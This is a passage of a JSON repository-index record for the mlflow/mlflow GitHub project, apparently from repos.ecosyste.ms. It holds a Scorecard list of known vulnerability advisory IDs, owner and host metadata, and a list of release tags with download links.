PYSEC-2023-205 / GHSA-655w-fm8m-m478","Warn: Project is vulnerable to: PYSEC-2023-92 / GHSA-6643-h7h5-x9wh","Warn: Project is vulnerable to: GHSA-6h8p-4hx9-w66c","Warn: Project is vulnerable to: PYSEC-2023-151 / GHSA-7gfq-f96f-g85j","Warn: Project is vulnerable to: PYSEC-2023-110 / GHSA-7q94-qpjr-xpgm","Warn: Project is vulnerable to: GHSA-8h5w-f6q9-wg35","Warn: Project is vulnerable to: PYSEC-2023-146 / GHSA-92j5-3459-qgp4","Warn: Project is vulnerable to: PYSEC-2023-162 / GHSA-f73w-4m7g-ch9x","Warn: Project is vulnerable to: PYSEC-2023-145 / GHSA-fj32-q626-pjjc","Warn: Project is vulnerable to: PYSEC-2023-18 / GHSA-fprp-p869-w6q2","Warn: Project is vulnerable to: PYSEC-2023-138 / GHSA-gwqq-6vq7-5j86","Warn: Project is vulnerable to: PYSEC-2024-43 / GHSA-h59x-p739-982c","Warn: Project is vulnerable to: GHSA-h9j7-5xvc-qhg5","Warn: Project is vulnerable to: PYSEC-2023-147 / GHSA-prgp-w7vf-ch62","Warn: Project is vulnerable to: GHSA-rgp8-pm28-3759","Warn: Project is vulnerable to: PYSEC-2023-91 / GHSA-x32c-59v5-h7fg","Warn: Project is vulnerable to: GHSA-cgwc-qvrx-rf7f","Warn: Project is vulnerable to: GHSA-mr7h-w2qc-ffc2","Warn: Project is vulnerable to: GHSA-3xr8-qfvj-9p9j","Warn: Project is vulnerable to: GHSA-46cm-pfwv-cgf8","Warn: Project is vulnerable to: GHSA-7ggm-4rjg-594w","Warn: Project is vulnerable to: GHSA-879v-fggm-vxw2","Warn: Project is vulnerable to: GHSA-8j42-pcfm-3467","Warn: Project is vulnerable to: GHSA-fh2c-86xm-pm2x","Warn: Project is vulnerable to: GHSA-fjcf-3j3r-78rp","Warn: Project is vulnerable to: GHSA-g26j-5385-hhw3","Warn: Project is vulnerable to: GHSA-g5pg-73fc-hjwq","Warn: Project is vulnerable to: GHSA-gppg-gqw8-wh9g","Warn: Project is vulnerable to: GHSA-gw2q-qw9j-rgv7","Warn: Project is vulnerable to: GHSA-h6m6-jj8v-94jj","Warn: Project is vulnerable to: GHSA-qqcv-vg9f-5rr3","Warn: Project is vulnerable to: PYSEC-2024-12 / GHSA-2jxw-4hm4-6w87","Warn: Project is vulnerable to: PYSEC-2023-148 / GHSA-2xxc-73fv-36f7","Warn: Project is vulnerable to: GHSA-5hq9-5r78-2gjh","Warn: Project is vulnerable to: GHSA-j3wr-m6xh-64hg","Warn: Project is vulnerable to: GHSA-jmgm-gx32-vp4w","Warn: Project is vulnerable to: PYSEC-2025-11 / GHSA-jvpf-xf32-2w4q","Warn: Project is vulnerable to: GHSA-pw38-xv9x-h8ch","Warn: Project is vulnerable to: GHSA-v3c8-3pr6-gr7p","Warn: Project is vulnerable to: PYSEC-2024-192","Warn: Project is vulnerable to: PYSEC-2021-356 / GHSA-2ww3-fxvq-293j","Warn: Project is vulnerable to: PYSEC-2024-167 / GHSA-cgvx-9447-vcch","Warn: Project is vulnerable to: PYSEC-2021-859 / GHSA-f8m6-h2c7-8h9x","Warn: Project is vulnerable to: PYSEC-2019-106 / GHSA-mr7p-25v2-35wr","Warn: Project is vulnerable to: PYSEC-2022-5 / GHSA-rqjh-jp2r-59cj","Warn: Project is vulnerable to: GHSA-6rq9-53c3-f7vj","Warn: Project is vulnerable to: PYSEC-2023-38 / GHSA-ffxj-547x-5j7c","Warn: Project is vulnerable to: PYSEC-2025-10 / GHSA-h36j-8vv3-cj52","Warn: Project is vulnerable to: PYSEC-2024-223 / GHSA-h8wv-9h96-m4hr","Warn: Project is vulnerable to: PYSEC-2024-222 / GHSA-whh8-fjgc-qp73","Warn: Project is vulnerable to: PYSEC-2024-145 / GHSA-275c-w5mq-v5m2","Warn: Project is vulnerable to: GHSA-2hvc-hwg3-hpvw","Warn: Project is vulnerable to: GHSA-2rp8-hff9-c5wr","Warn: Project is vulnerable to: PYSEC-2024-135 / GHSA-2wcj-qr76-9768","Warn: Project is vulnerable to: PYSEC-2024-146 / GHSA-3cr5-2446-8pg3","Warn: Project is vulnerable to: PYSEC-2024-136 / GHSA-4rrv-8gcp-24v8","Warn: Project is vulnerable to: PYSEC-2024-134 / GHSA-547m-23x7-cxg5","Warn: Project is vulnerable to: GHSA-83g7-8fch-p37m","Warn: Project is vulnerable to: PYSEC-2024-141 / GHSA-8fp7-jwv2-49x9","Warn: Project is vulnerable to: PYSEC-2023-122 / GHSA-8wfh-qxxv-3q8c","Warn: Project is vulnerable to: PYSEC-2023-126 / GHSA-9q9v-qgwx-84mr","Warn: Project is vulnerable to: PYSEC-2024-132 / GHSA-c6ph-m8cw-rfqh","Warn: Project is vulnerable to: GHSA-chj7-w3f6-cvfj","Warn: Project is vulnerable to: PYSEC-2023-125 / GHSA-cv2j-922j-hr56","Warn: Project is vulnerable to: GHSA-fh54-3vhg-mpc2","Warn: Project is vulnerable to: PYSEC-2024-139 / GHSA-g57v-2687-jx33","Warn: Project is vulnerable to: PYSEC-2022-43063 / GHSA-gcjf-29m9-888q","Warn: Project is vulnerable to: PYSEC-2023-124 / GHSA-hh7p-hvm3-rg88","Warn: Project is vulnerable to: PYSEC-2024-142 / GHSA-j5h9-9r39-43q5","Warn: Project is vulnerable to: PYSEC-2024-130 / GHSA-jm68-fpmr-8j2g","Warn: Project is vulnerable to: GHSA-jwrc-3v3f-5cq5","Warn: Project is vulnerable to: PYSEC-2024-133 / GHSA-mr78-v55p-7777","Warn: Project is vulnerable to: GHSA-mrmm-qmrj-xgp6","Warn: Project is vulnerable to: PYSEC-2024-144 / GHSA-qppw-c37g-xwcc","Warn: Project is vulnerable to: GHSA-qqv2-35q8-p2g2","Warn: Project is vulnerable to: PYSEC-2024-143 / GHSA-rf7p-79xq-8xwm","Warn: Project is vulnerable to: PYSEC-2024-138 / GHSA-rg9q-m8hv-xxr6","Warn: Project is vulnerable to: PYSEC-2023-123 / GHSA-rr46-m366-gm44","Warn: Project is vulnerable to: PYSEC-2024-137 / GHSA-rx2r-q96c-w5cc","Warn: Project is vulnerable to: PYSEC-2024-140 / GHSA-v9pg-qw6x-w5r2","Warn: Project is vulnerable to: PYSEC-2024-131 / GHSA-x3q9-c788-j7c8","Warn: Project is vulnerable to: PYSEC-2024-129 / GHSA-xjpw-hx47-rccv","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable to: PYSEC-2022-168 / GHSA-9j59-75qj-795w","Warn: Project is vulnerable to: PYSEC-2014-10 / GHSA-cfmr-38g9-f2h7","Warn: Project is vulnerable to: PYSEC-2020-76 / GHSA-cqhg-xjhh-p8hf","Warn: Project is vulnerable to: PYSEC-2021-40 / GHSA-f4w8-cv6p-x6r5","Warn: Project is vulnerable to: PYSEC-2021-69 / GHSA-f5g8-5qq7-938w","Warn: Project is vulnerable to: PYSEC-2021-139 / GHSA-g6rj-rv7j-xwp4","Warn: Project is vulnerable to: PYSEC-2015-16 / GHSA-h5rf-vgqx-wjv2","Warn: Project is vulnerable to: PYSEC-2016-5 / GHSA-hggx-3h72-49ww","Warn: Project is vulnerable to: PYSEC-2020-84 / GHSA-hj69-c76v-86wr","Warn: Project is vulnerable to: PYSEC-2016-7 / GHSA-hvr8-466p-75rh","Warn: Project is vulnerable to: PYSEC-2015-15 / GHSA-j6f7-g425-4gmx","Warn: Project is vulnerable to: GHSA-j7hp-h8jx-5ppr","Warn: Project is vulnerable to: PYSEC-2019-110 / GHSA-j7mj-748x-7p78","Warn: Project is vulnerable to: GHSA-jgpv-4h4c-xhw3","Warn: Project is vulnerable to: PYSEC-2022-42979 / GHSA-m2vv-5vj5-2hm7","Warn: Project is vulnerable to: PYSEC-2021-37 / GHSA-mvg9-xffr-p774","Warn: Project is vulnerable to: PYSEC-2020-83 / GHSA-p49h-hjvm-jg3h","Warn: Project is vulnerable to: PYSEC-2022-8 / GHSA-pw3c-h7wp-cvhx","Warn: Project is vulnerable to: PYSEC-2021-93 / GHSA-q5hq-fp76-qmrc","Warn: Project is vulnerable to: PYSEC-2020-82 / GHSA-r7rm-8j6h-r933","Warn: Project is vulnerable to: PYSEC-2014-23 / GHSA-r854-96gq-rfg3","Warn: Project is vulnerable to: PYSEC-2016-8 / GHSA-rwr3-c2q8-gm56","Warn: Project is vulnerable to: PYSEC-2020-81 / GHSA-vcqg-3p29-xw73","Warn: Project is vulnerable to: PYSEC-2020-79 / GHSA-vj42-xq3r-hr3r","Warn: Project is vulnerable to: PYSEC-2021-70 / GHSA-vqcj-wrf2-7v73","Warn: Project is vulnerable to: PYSEC-2016-9 / GHSA-w4vg-rf63-f3j3","Warn: Project is vulnerable to: PYSEC-2014-22 / GHSA-x895-2wrm-hvp7","Warn: Project is vulnerable to: PYSEC-2022-9 / GHSA-xrcv-f9gm-v42c","Warn: Project is vulnerable to: PYSEC-2021-137","Warn: Project is vulnerable to: PYSEC-2021-138","Warn: Project is vulnerable to: PYSEC-2021-317","Warn: Project is vulnerable to: PYSEC-2021-38","Warn: Project is vulnerable to: PYSEC-2021-39","Warn: Project is vulnerable to: PYSEC-2021-94","Warn: Project is vulnerable to: PYSEC-2023-175","Warn: Project is vulnerable to: PYSEC-2021-437 / GHSA-5xp3-jfq3-5q8x","Warn: Project is vulnerable to: PYSEC-2023-228 / GHSA-mq26-g339-26xf","Warn: Project is vulnerable to: PYSEC-2019-41 / GHSA-qfc5-mcwq-26q8","Warn: Project is vulnerable to: PYSEC-2023-44 / GHSA-329j-jfvr-rhr6","Warn: Project is vulnerable to: PYSEC-2022-42976 / GHSA-43xg-8wmj-cw8h","Warn: Project is vulnerable to: PYSEC-2022-236 / GHSA-4x9r-j582-cgr8","Warn: Project is vulnerable to: PYSEC-2018-25 / GHSA-6mqq-8r44-vmjc","Warn: Project is vulnerable to: PYSEC-2017-147 / GHSA-8rhc-48pp-52gr","Warn: Project is vulnerable to: PYSEC-2022-186 / GHSA-9rr6-jpg7-9jg6","Warn: Project is vulnerable to: PYSEC-2019-114 / GHSA-fp5j-3fpf-mhj5","Warn: Project is vulnerable to: PYSEC-2020-95 / GHSA-wgx7-jwwm-cgjv","Warn: Project is vulnerable to: PYSEC-2023-72","Warn: Project is vulnerable to: GHSA-23j4-mw76-5v7h","Warn: Project is vulnerable to: PYSEC-2024-258 / GHSA-4qqq-9vqf-3h3f","Warn: Project is vulnerable to: GHSA-7j7m-v7m3-jqm7","Warn: Project is vulnerable to: GHSA-9x8m-2xpf-crp3","Warn: Project is vulnerable to: PYSEC-2024-162 / GHSA-cc65-xxvf-f7r9","Warn: Project is vulnerable to: PYSEC-2022-159 / GHSA-cjvr-mfj7-j4j8","Warn: Project is vulnerable to: GHSA-cw9j-q3vf-hrrv","Warn: Project is vulnerable to: GHSA-jm3v-qxmh-hxwv","Warn: Project is vulnerable to: PYSEC-2021-363 / GHSA-jwqp-28gf-p498","Warn: Project is vulnerable to: GHSA-mfjm-vh54-3f96","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: PYSEC-2017-74","Warn: Project is vulnerable to: PYSEC-2023-299 / GHSA-282v-666c-3fvg","Warn: Project is vulnerable to: GHSA-37mw-44qp-f5jm","Warn: Project is vulnerable to: GHSA-37q5-v5qm-c9v8","Warn: Project is vulnerable to: PYSEC-2023-300 / GHSA-3863-2447-669p","Warn: Project is vulnerable to: GHSA-6rvg-6v2m-4j46","Warn: Project is vulnerable to: GHSA-9356-575x-2w9m","Warn: Project is vulnerable to: GHSA-fpwr-67px-3qhx","Warn: Project is vulnerable to: PYSEC-2024-229 / GHSA-hxxf-235m-72v3","Warn: Project is vulnerable to: GHSA-jjph-296x-mrcr","Warn: Project is vulnerable to: GHSA-phhr-52qp-3mj4","Warn: Project is vulnerable to: GHSA-q2wp-rjmx-x6x9","Warn: Project is vulnerable to: PYSEC-2025-40 / GHSA-qq3j-4f4f-9583","Warn: Project is vulnerable to: PYSEC-2024-227 / GHSA-qxrp-vhvm-j765","Warn: Project is vulnerable to: PYSEC-2023-301 / GHSA-v68g-wm8c-6x7j","Warn: Project is vulnerable to: PYSEC-2024-228 / GHSA-wrfc-pvp9-mr9g","Warn: Project is vulnerable to: GHSA-gprr-v9f2-px3c","Warn: Project is vulnerable to: GHSA-3ww4-gg4f-jr7f","Warn: Project is vulnerable to: GHSA-5cpq-8wj7-hf2v","Warn: Project is vulnerable to: PYSEC-2024-225 / GHSA-6vqw-3v5j-54x4","Warn: Project is vulnerable to: GHSA-9v9h-cgj8-h64p","Warn: Project is vulnerable to: GHSA-h4gh-qq45-vh27","Warn: Project is vulnerable to: PYSEC-2023-254 / GHSA-jfhm-5ghh-2f97","Warn: Project is vulnerable to: GHSA-jm77-qphf-c4w8","Warn: Project is vulnerable to: GHSA-v8gr-m533-ghj9","Warn: Project is vulnerable to: GHSA-43c4-9qgj-x742","Warn: Project is vulnerable to: GHSA-76cg-cfhx-373f","Warn: Project is vulnerable to: GHSA-7p8j-qv6x-f4g4","Warn: Project is vulnerable to: GHSA-cv6c-7963-wxcg","Warn: Project is vulnerable to: GHSA-cwgg-w6mp-w9hg","Warn: Project is vulnerable to: GHSA-ghv6-9r9j-wh4j","Warn: Project is vulnerable to: GHSA-j8mg-pqc5-x9gj","Warn: Project is vulnerable to: GHSA-pqcv-qw2r-r859","Warn: Project is vulnerable to: GHSA-wf7f-8fxf-xfxc","Warn: Project is vulnerable to: GHSA-x38x-g6gr-jqff","Warn: Project is vulnerable to: PYSEC-2023-238 / GHSA-5wvp-7f3h-6wmm","Warn: Project is vulnerable to: PYSEC-2024-161","Warn: Project is vulnerable to: PYSEC-2023-74 / GHSA-j8r2-6x86-q33q","Warn: Project is vulnerable to: GHSA-753j-mpmx-qq6g","Warn: Project is vulnerable to: PYSEC-2023-75 / GHSA-hj3f-6gcp-jg8j","Warn: Project is vulnerable to: GHSA-qppv-j76h-2rpx","Warn: Project is vulnerable to: GHSA-w235-7p84-xx57"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-15T08:29:11.052Z","repository_id":37396804,"created_at":"2025-08-15T08:29:11.053Z","updated_at":"2025-08-15T08:29:11.053Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343072799,"owners_count":38016469,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-04T02:00:06.888Z","response_time":127,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"mlflow","name":"MLflow","uuid":"39938107","kind":"organization","description":"The open source AI engineering platform for agents, LLMs, and ML models.","email":null,"website":"https://www.mlflow.org","location":"United States of America","twitter":"MLflow","company":null,"icon_url":"https://avatars.githubusercontent.com/u/39938107?v=4","repositories_count":20,"last_synced_at":"2026-10-02T14:40:08.976Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/mlflow","funding_links":[],"total_stars":29270,"followers":1272,"following":0,"created_at":"2022-11-14T08:31:57.119Z","updated_at":"2026-10-02T14:40:08.991Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mlflow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mlflow/repositories"},"tags":[{"name":"ts/typesafe/v0.4.0","sha":"b6b24e5f2e155e5f4bbf6b2c01b0dfc275bd54d8","kind":"tag","published_at":"2026-10-02T22:40:28.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/ts/typesafe/v0.4.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/ts/typesafe/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@ts%2Ftypesafe%2Fv0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Ftypesafe%2Fv0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Ftypesafe%2Fv0.4.0/manifests"},{"name":"model-catalog/latest","sha":"f0f42b0d849b3f95aa1508d604b6d325426e72ed","kind":"commit","published_at":"2026-10-02T13:00:44.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/model-catalog/latest","html_url":"https://github.com/mlflow/mlflow/releases/tag/model-catalog/latest","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@model-catalog%2Flatest","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/model-catalog%2Flatest","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/model-catalog%2Flatest/manifests"},{"name":"v2.11.5","sha":"d8169b6e217f1efd3da57d0ad8136cfd4671e67e","kind":"commit","published_at":"2026-09-23T01:44:16.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.11.5","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.5/manifests"},{"name":"v3.16.1","sha":"32792afe5b0183fce10532d3a023f5cfa8612d09","kind":"commit","published_at":"2026-09-16T19:16:38.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.16.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.16.1/manifests"},{"name":"v3.16.0","sha":"998f7103eb5bb305491aa6e661e3862af0a8a8ed","kind":"commit","published_at":"2026-09-04T01:37:44.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.16.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.16.0/manifests"},{"name":"ts/v0.4.0","sha":"50d4736d74453f4f58ca58a1b2748a1e3356a52c","kind":"tag","published_at":"2026-08-27T07:34:56.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/ts/v0.4.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/ts/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@ts%2Fv0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.4.0/manifests"},{"name":"v3.15.2","sha":"ca15da96555ef1ef80a61393bf8559ffe5c2e8df","kind":"commit","published_at":"2026-08-25T08:56:23.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.15.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.15.2/manifests"},{"name":"v3.15.1","sha":"9a1c0d9a9827acd23c7a215f0999e4b0f97e9870","kind":"commit","published_at":"2026-08-03T08:05:08.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.15.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.15.1/manifests"},{"name":"ts/v0.3.1","sha":"c8751d3345861e76fa2db42517a3fd2106fe672a","kind":"commit","published_at":"2026-07-31T06:34:25.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/ts/v0.3.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/ts/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@ts%2Fv0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.3.1/manifests"},{"name":"v3.15.0","sha":"d0f31520ec4af7c4deaa9a8e7904c442fb1b310d","kind":"commit","published_at":"2026-07-31T05:20:05.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.15.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.15.0/manifests"},{"name":"ts/v0.3.0","sha":"9369186bc80eba725a1648c9a6b24dca666ac77a","kind":"tag","published_at":"2026-07-07T06:01:06.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/ts/v0.3.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/ts/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@ts%2Fv0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.3.0/manifests"},{"name":"v3.14.0","sha":"86cd7f5a1dc25a1387ad07c87811bbc30f62951c","kind":"commit","published_at":"2026-06-17T02:25:26.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.14.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.14.0/manifests"},{"name":"ts/v0.3.0-rc.0","sha":"698eba177215764c11369c6716c93607750c97c8","kind":"commit","published_at":"2026-06-03T23:37:24.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/ts/v0.3.0-rc.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/ts/v0.3.0-rc.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@ts%2Fv0.3.0-rc.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.3.0-rc.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.3.0-rc.0/manifests"},{"name":"v3.13.0","sha":"8a774946bc19b59cecf3c54a733ebab52aa766f5","kind":"commit","published_at":"2026-05-30T05:15:22.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.13.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.13.0/manifests"},{"name":"v3.13.0rc0","sha":"ad275378e5db34c5f0fb18eda372cdba6d90a9eb","kind":"commit","published_at":"2026-05-21T01:50:20.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.13.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.13.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.13.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.13.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.13.0rc0/manifests"},{"name":"ts/v0.2.0","sha":"f98ac4516fe3c6cb2e3d463b6c0203d752a20894","kind":"commit","published_at":"2026-05-15T05:53:55.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/ts/v0.2.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/ts/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@ts%2Fv0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.2.0/manifests"},{"name":"v3.12.0","sha":"75b30ca00d3eb8815f3ba556c66ff8faeab60640","kind":"commit","published_at":"2026-05-04T12:45:02.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.12.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.12.0/manifests"},{"name":"ts/v0.2.0-rc.2","sha":"555c7e811a31038cd21055333facce8cabd50e66","kind":"tag","published_at":"2026-04-29T00:00:49.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/ts/v0.2.0-rc.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/ts/v0.2.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:g